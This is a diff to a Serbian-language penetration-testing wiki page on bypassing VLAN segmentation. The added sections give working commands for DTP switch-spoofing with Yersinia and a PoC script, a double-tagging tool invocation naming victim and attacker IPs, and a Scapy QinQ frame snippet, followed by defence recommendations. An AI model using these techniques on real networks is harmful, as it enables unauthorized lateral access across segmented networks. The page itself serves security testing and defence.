diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 169eae3d3..54c758a37 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. To uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja proverite [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Ako je direktan pristup switch-u dostupan, VLAN segmentacija može biti zaobiđena. Ovo uključuje reconfiguraciju povezanog porta u trunk mode, uspostavljanje virtuelnih interfejsa za ciljne VLAN-ove i postavljanje IP adresa, bilo dinamički (DHCP) ili statički, u zavisnosti od scenarija (**za više detalja pogledajte [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Prvo je potrebno identifikovati specifičan povezani port. To se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske. +Prvo, potrebno je identifikovati specifičan povezani port. Ovo se obično može postići putem CDP poruka, ili pretraživanjem porta putem **include** maske. **Ako CDP nije operativan, identifikacija porta može se pokušati pretraživanjem MAC adrese**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -Pre nego što se pređe u trunk režim, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, povezan je sa VLAN 10. +Pre nego što se pređe na trunk mod, treba sastaviti listu postojećih VLAN-ova i odrediti njihove identifikatore. Ovi identifikatori se zatim dodeljuju interfejsu, omogućavajući pristup raznim VLAN-ovima putem trunk-a. Port koji se koristi, na primer, je povezan sa VLAN 10. ``` SW1# show vlan brief ``` @@ -46,10 +46,78 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` Konekcija se testira pokretanjem ICMP zahteva ka podrazumevanim prolazima za VLAN-ove 10, 20, 50 i 60. -Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neograničen pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije. +Na kraju, ovaj proces omogućava zaobilaženje VLAN segmentacije, čime se olakšava neometan pristup bilo kojoj VLAN mreži i postavlja osnova za naredne akcije. -## References +--- + +## Druge VLAN-Hopping Tehnike (bez privilegovanog switch CLI) + +Prethodna metoda pretpostavlja autentifikovani pristup konzoli ili Telnet/SSH-u na switch-u. U stvarnim situacijama, napadač je obično povezan na **običan pristupni port**. Sledeći Layer-2 trikovi često vam omogućavaju lateralno prebacivanje bez ikada prijavljivanja u switch OS: + +### 1. Switch-Spoofing sa Dinamičkim Trunking Protokolom (DTP) + +Cisco switch-evi koji drže DTP uključenim rado će pregovarati trunk ako partner tvrdi da je switch. Kreiranje jednog **DTP “desirable”** ili **“trunk”** okvira pretvara pristupni port u 802.1Q trunk koji nosi *sve* dozvoljene VLAN-ove. + +*Yersinia* i nekoliko PoC-ova automatizuju proces: +```bash +# Become a trunk using Yersinia (GUI) +$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking + +# Python PoC (dtp-spoof) +$ git clone https://github.com/fleetcaptain/dtp-spoof.git +$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +``` +Kada port pređe u trunk, možete kreirati 802.1Q pod-interfejse i pivotirati tačno kao što je prikazano u prethodnom odeljku. Moderni Linux kernel više ne zahteva *vconfig*; umesto toga koristite *ip link*: +```bash +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.30 type vlan id 30 +sudo ip addr add 10.10.30.66/24 dev eth0.30 +sudo ip link set eth0.30 up +``` +### 2. Double-Tagging (Native-VLAN Abuse) + +Ako napadač sedi na **native (untagged) VLAN**, kreirani okvir sa *dva* 802.1Q zaglavlja može "skočiti" na drugi VLAN čak i kada je port zaključan u pristupnom režimu. Alati kao što je **VLANPWN DoubleTagging.py** (2022-2024 osveženje) automatizuju injekciju: +```bash +python3 DoubleTagging.py \ +--interface eth0 \ +--nativevlan 1 \ +--targetvlan 20 \ +--victim 10.10.20.24 \ +--attacker 10.10.1.54 +``` +Packet walk-through: +1. Spoljašnji tag (1) se uklanja od strane prvog switch-a jer se poklapa sa native VLAN. +2. Unutrašnji tag (20) je sada izložen; okvir se prosleđuje na trunk ka VLAN 20. + +Tehnika i dalje funkcioniše 2025. godine na mrežama koje ostavljaju native VLAN na podrazumevanoj vrednosti i prihvataju neoznačene okvire. + +### 3. QinQ (802.1ad) Stacking + +Mnogi koreni preduzeća podržavaju *Q-in-Q* uslugu pružatelja usluga. Gde je dozvoljeno, napadač može tunelovati proizvoljan 802.1Q označen saobraćaj unutar pružatelja (S-tag) da bi prešao sigurnosne zone. Zabeležite 802.1ad ethertype 0x88a8 i pokušajte da uklonite spoljašnji tag sa Scapy: +```python +from scapy.all import * +outer = 100 # Service tag +inner = 30 # Customer / target VLAN +payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP() +frame = Dot1Q(type=0x88a8, vlan=outer)/payload +sendp(frame, iface="eth0") +``` +--- + +## Preporuke za odbranu + +1. Onemogućite DTP na svim portovima koji su dostupni korisnicima: `switchport mode access` + `switchport nonegotiate`. +2. Promenite nativni VLAN na svakom trunku u **neiskorišćeni, crni VLAN** i označite ga: `vlan dot1q tag native`. +3. Prune-ujte nepotrebne VLAN-ove na trunkovima: `switchport trunk allowed vlan 10,20`. +4. Primorajte sigurnost portova, DHCP snooping i dinamičku ARP inspekciju kako biste ograničili neovlašćene Layer-2 aktivnosti. +5. Preferirajte privatne VLAN-ove ili L3 segmentaciju umesto oslanjanja isključivo na 802.1Q razdvajanje. + +--- + +## Reference - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) +- VLANPWN attack toolkit – +- Twingate "Šta je VLAN Hopping?" (Avg 2024) – {{#include ../../banners/hacktricks-training.md}}